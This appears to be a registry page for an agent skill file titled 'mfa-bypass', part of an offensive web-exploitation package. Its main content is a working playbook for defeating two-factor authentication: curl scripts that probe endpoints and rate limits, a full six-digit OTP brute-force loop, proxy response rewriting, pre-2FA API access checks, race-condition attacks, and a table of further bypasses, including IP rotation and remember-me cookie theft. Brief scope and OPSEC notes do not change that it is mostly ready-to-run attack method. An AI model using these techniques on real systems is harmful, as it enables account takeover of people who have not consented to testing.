2FA / OTP logic flaws — response & status tampering, brute force, OTP reuse, backup-code abuse, race conditions, missing-2FA on flows, remember-me bypass, password-reset skips 2FA.
63
75%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/web/mfa-bypass/SKILL.mdLogic flaws in the second factor are pure ATO. Common because devs ship the happy path (enter code → success) and forget the negative paths: response tampering, brute force, replay, race, alternate flows, remembered devices.
Enumerate every flow that should require a second factor:
# 1. Inventory paths involved in step-up
for p in /login /login/2fa /api/2fa/verify /mfa/verify /account/security \
/account/email /account/password /password/reset /password/reset/confirm \
/oauth/authorize /api/session /api/session/elevate /backup-codes; do
curl -s -o /dev/null -w "%{http_code} $p\n" "https://<TARGET>$p"
done
# 2. Submit a wrong OTP — what does the response look like?
curl -s -i -X POST "https://<TARGET>/api/2fa/verify" \
-H 'Content-Type: application/json' -H "Cookie: session=<HALF_AUTHED>" \
-d '{"code":"000000"}'
# 3. Rate-limit probe — burst 20 wrong codes
for i in $(seq 1 20); do
printf '%s ' "$(curl -s -o /dev/null -w '%{http_code}' -X POST \
"https://<TARGET>/api/2fa/verify" -H 'Content-Type: application/json' \
-H "Cookie: session=<HALF_AUTHED>" -d "{\"code\":\"$(printf '%06d' $i)\"}")"
done; echo
# If no 429 / lockout → brute force is open| Class | Symptom | Bypass |
|---|---|---|
| Response manipulation | server returns {"success":false} but client trusts it | intercept → flip to true |
| Status-code tamper | 401 vs 200 only checked client-side | rewrite 401 → 200 in proxy |
| Flag tamper | mfa_required=true in JWT/JSON | edit to false, resign / unsigned alg |
| No rate limit | unlimited wrong OTPs | 6-digit OTP = 10⁶ — brute over hours |
| Per-IP limit only | limit on attacker IP, not on user | rotate IPs / X-Forwarded-For |
| OTP reuse | same code valid after use | replay last code in a new session |
| OTP no expiry | code from yesterday still works | mine old SMS / email |
| Predictable OTP | seeded by userid/timestamp | precompute |
| Backup-code abuse | unlimited tries, codes never expire / not invalidated | brute backup codes endpoint |
| Race condition | two requests in flight — both succeed | parallel POSTs (HTTP/2 single-packet attack) |
| Missing 2FA on flow | /login enforces, /api/login does not | use alternate endpoint |
| Missing 2FA on password change | password change re-enables full session | reset → skip 2FA |
| Password reset skips 2FA | reset token logs you in without 2FA | abuse reset link |
| OAuth / SSO skips 2FA | social login returns a fully-authed session | login via Google instead |
| Remember-me cookie | persistent cookie skips 2FA forever | steal remember-me via XSS / log leak |
| Direct object access | /api/account works on half-authed session | call protected APIs pre-2FA |
| Enrollment race | attacker enrolls own TOTP for victim before victim does | hit /2fa/enroll first post-login |
| Recovery channel takeover | SMS → SIM swap, email → email ATO | downstream factor compromise |
COOKIE='session=<HALF_AUTHED>'
for i in $(seq 0 999999); do
CODE=$(printf '%06d' $i)
CODE_LEN=${#CODE}
RES=$(curl -s -o /dev/null -w '%{http_code}' -X POST \
"https://<TARGET>/api/2fa/verify" -H 'Content-Type: application/json' \
-H "Cookie: $COOKIE" -d "{\"code\":\"$CODE\"}")
[ "$RES" = "200" ] && { echo "HIT: $CODE"; break; }
(( i % 1000 == 0 )) && echo "tried $i ..."
done# Original server response
HTTP/1.1 200 OK
{"success":false,"mfa":"required"}Rewrite at the proxy:
HTTP/1.1 200 OK
{"success":true,"mfa":"passed"}If the SPA only inspects JSON to decide navigation, session cookie is already full-authed server-side and the redirect succeeds.
# Half-authed cookie after username+password, BEFORE OTP
curl -s "https://<TARGET>/api/account" -H "Cookie: session=<HALF_AUTHED>"
# If it returns full account data → broken step-up.# Use Turbo Intruder "single-packet attack" — fire ~30 verify requests with the
# *correct* OTP in one TCP packet; servers that decrement attempts non-atomically
# accept multiple, and 2FA-disable mutations slip through.ffuf / hydra http-post-form for OTP brute when no JS guard| Indicator | Detection method | OPSEC note |
|---|---|---|
Hundreds of /2fa/verify POSTs per session | App-level rate metric | Use a dedicated attacker test account; do not brute live victims without scope |
| Same OTP value tried across users | SIEM correlation | Vary code per user when testing reuse |
Concurrent requests on same state token | App anomaly | Race PoC only on isolated test users |
| Remember-me cookie from new geo | Risk engine | Validate with consent before extraction tests |
finding-protocol as Critical (ATO).0cf691e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.